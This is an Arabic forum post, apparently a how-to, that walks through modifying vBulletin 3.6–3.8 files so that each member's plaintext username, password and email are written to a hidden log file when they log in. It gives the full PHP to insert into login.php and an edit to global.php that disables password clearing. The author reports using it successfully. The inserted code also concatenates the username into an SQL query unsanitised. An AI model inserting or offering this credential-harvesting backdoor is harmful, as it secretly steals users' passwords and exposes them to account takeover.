بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله
الطريقة التي سأشرحها اليوم عبارة عن انشاء ملف أو لوق ، بحيث أول ما يدخل العضو بعضويته يتم حفظ بياناته في الملف . واعذروني إن كانت مكررة أو ليست فيها معلومات جديدة .
الطريقة تم تجربتها على :
vBulletin 3.6.5
vBulletin 3.6.8 Patch Level 1 / Patch Level 2
vBulletin 3.6.9
vBulletin 3.6.10
vBulletin 3.7.0
vBulletin 3.7.3 PL1
vBulletin 3.8.X
الطريقة تتطلب Cpanel ، عليك في البداية فتح ملف global.php ، وابحث عن :
كود PHP:
$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
واستبدله بالتالي :
كود PHP:
//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
واحفظ العمل ، ثم انتقل لملف login.php ، وابحث عن :
كود PHP:
process_new_login
وأضف تحته التالي :
كود PHP:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("SELECT * FROM " . table_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
لاحظ السطر الثالث ، وأقصد بذلك مسار التابع للوق
احفظ العمل ، وانتظر حتى يسجل أي عضو دخوله للمنتدى وشاهد النتيجة .
كنت أستخدمها سابقاً ، وكانت ناجحة معي ، لكن بعد ظهور الطرق المتقدمة والسهلة
لم أعد أستخدمها ، لكن قلت أفيدكم بها على أية حال .
وهناك أكواد وطرق أيضاً لها مهام أخرى كتسجيل خروج عضو محدد أو تسجيل خروج جميع الأعضاء ووووو ... الخ .